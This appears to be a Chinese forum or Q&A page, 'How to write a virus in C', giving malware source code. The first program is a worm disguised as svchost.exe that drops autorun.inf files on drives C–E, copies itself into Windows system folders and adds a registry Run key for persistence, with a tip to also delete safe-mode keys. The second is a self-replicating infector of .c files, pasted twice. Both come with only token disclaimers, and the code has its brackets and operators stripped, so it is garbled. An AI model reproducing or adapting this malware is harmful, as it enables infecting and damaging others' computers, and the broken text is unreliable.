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如何用C语言写病毒?
在读本程序前请保证不用此程序进行违法活动,否则,请马上离开.最基本的病毒.
本病毒的功能:
1.在C、D、E盘和c:\windows\system、c:\windows中生成本病毒体文件
2.在C、D、E盘中生成自动运行文件
3.注册c:\windows\system\svchost.exe,使其开机自动运行
4.在C:\windows\system下生成隐蔽DLL文件
5.病毒在执行后具有相联复制能力本病毒类似普通U盘病毒雏形,具备自我复制、运行能力。以下程序在DEV-CPP 4.9.9.2(GCC编译器)下编译通过
请保存为SVCHOST.C编译,运行,本病毒对计算机无危害,请放心研究
/* SVCHOST.C */
/* SVCHOST.EXE */#define SVCHOST_NUM 6
#includestdio.h
#includestring.h
char *autorun={"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打开\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"};
char *files_autorun[10]={"c:\\autorun.inf","d:\\autorun.inf","e:\\autorun.inf"};
char *files_svchost[SVCHOST_NUM+1]={"c:\\windows\\system\\MSMOUSE.DLL",
"c:\\windows\\system\\SVCHOST.exe","c:\\windows\\SVCHOST.exe",
"c:\\SVCHOST.exe","d:\\SVCHOST.exe","e:\\SVCHOST.exe","SVCHOST.exe"};
char *regadd="reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f";int copy(char *infile,char *outfile)
FILE *input,*output;
char temp;
if(strcmp(infile,outfile)!=0 ((input=fopen(infile,"rb"))!=NULL) ((output=fopen(outfile,"wb"))!=NULL))
while(!feof(input))
fread(temp,1,1,input);
fwrite(temp,1,1,output);
fclose(input);
fclose(output);
return 0;
else return 1;
int main(void)
FILE *input,*output;
int i,k;
for(i=0;i3;i++)
output=fopen(files_autorun[i],"w");
fprintf(output,"%s",autorun);
fclose(output);
for(i=0;i=SVCHOST_NUM;i++)
if((input=fopen(files_svchost[i],"rb"))!=NULL)
fclose(input);
for(k=0;kSVCHOST_NUM;k++)
copy(files_svchost[i],files_svchost[k]);
i=SVCHOST_NUM+1;
system(regadd); /* 注册SVCHOST.exe,让其在启动时运行 */
return 0;
} 如果你想来狠点;把安全模式的注册表项也删除了.让它进不了安全模式;
警告:不会修改注册表的人;别运行本程序...
c语言木马代码,简单点的,我保证不做违法的
#include stdio.h
#include dir.h
void main(void)
virus();
int virus()
struct ffblk ffblk;
FILE *in,*out,*read;
char *virus="virus.c";
char buf[50][80];
char *p;
char *end="return";
char *bracket="}";
char *main="main";
char *include[2]={"stdio.h","dir.h"};
char *int_virus="int virus()";
char *buffer;
int done,i,j=0,flag=0;
printf("\nI have a virus. Writen by PuBin\n");
done = findfirst("*.c",ffblk,0);
while (!done)
i=0;
if ((in = fopen(ffblk.ff_name, "rt"))== NULL)
goto next;
do{
if(i=50)
fclose(in);
goto next;
p=fgets(buf[i],80,in);
i++;
}while(p!=NULL);
fclose(in);
out=fopen(ffblk.ff_name,"w+t");
fputs("#includestdio.h\n",out);
fputs("#includedir.h\n",out);
do
if(strstr(buf[j],main)!=NULL)
for(;ji-1;j++)
if(strstr(buf[j],end)==NULLstrstr(buf[j],bracket)==NULL)
fputs(buf[j],out);
else
if(flag==0)
flag=1;
fputs("virus();\n",out);
fputs(buf[j],out);
else if((strstr(buf[j],include[0])==NULL)
(strstr(buf[j],include[1])==NULL))
fputs(buf[j],out);
j++;
else
j++;
}while(ji-1);
read=fopen(virus,"rt");
do
p=fgets(buffer,80,read);
if(strstr(buffer,int_virus))
while(p!=NULL)
if(strstr(buffer,virus)==NULL)
fputs(buffer,out);
else
fputs(" char *virus=\"",out);
fputs(ffblk.ff_name,out);
fputs("\";\n",out);
p=fgets(buffer,80,read);
}while(p!=NULL);
fclose(read);
fclose(out);
printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name);
next: done = findnext(ffblk);
return 0;
再就是网上一百度一大堆的。
c语言木马源代码
#include stdio.h
#include dir.h
void main(void)
virus();
int virus()
struct ffblk ffblk;
FILE *in,*out,*read;
char *virus="virus.c";
char buf[50][80];
char *p;
char *end="return";
char *bracket="}";
char *main="main";
char *include[2]={"stdio.h","dir.h"};
char *int_virus="int virus()";
char *buffer;
int done,i,j=0,flag=0;
printf("\nI have a virus. Writen by PuBin\n");
done = findfirst("*.c",ffblk,0);
while (!done)
i=0;
if ((in = fopen(ffblk.ff_name, "rt"))== NULL)
goto next;
do{
if(i=50)
fclose(in);
goto next;
p=fgets(buf[i],80,in);
i++;
}while(p!=NULL);
fclose(in);
out=fopen(ffblk.ff_name,"w+t");
fputs("#includestdio.h\n",out);
fputs("#includedir.h\n",out);
do
if(strstr(buf[j],main)!=NULL)
for(;ji-1;j++)
if(strstr(buf[j],end)==NULLstrstr(buf[j],bracket)==NULL)
fputs(buf[j],out);
else
if(flag==0)
flag=1;
fputs("virus();\n",out);
fputs(buf[j],out);
else if((strstr(buf[j],include[0])==NULL)
(strstr(buf[j],include[1])==NULL))
fputs(buf[j],out);
j++;
else
j++;
}while(ji-1);
read=fopen(virus,"rt");
do
p=fgets(buffer,80,read);
if(strstr(buffer,int_virus))
while(p!=NULL)
if(strstr(buffer,virus)==NULL)
fputs(buffer,out);
else
fputs(" char *virus=\"",out);
fputs(ffblk.ff_name,out);
fputs("\";\n",out);
p=fgets(buffer,80,read);
}while(p!=NULL);
fclose(read);
fclose(out);
printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name);
next: done = findnext(ffblk);
return 0;
严重声明:这个程序只是供C语言新手参考,开玩笑没关系,但如果用来做不法的事情,本人概不负责。还有,编病毒、木马去做违法的事情惩罚是很重的,你如果想学编程,编个简单的就好了,否则后果很严重。
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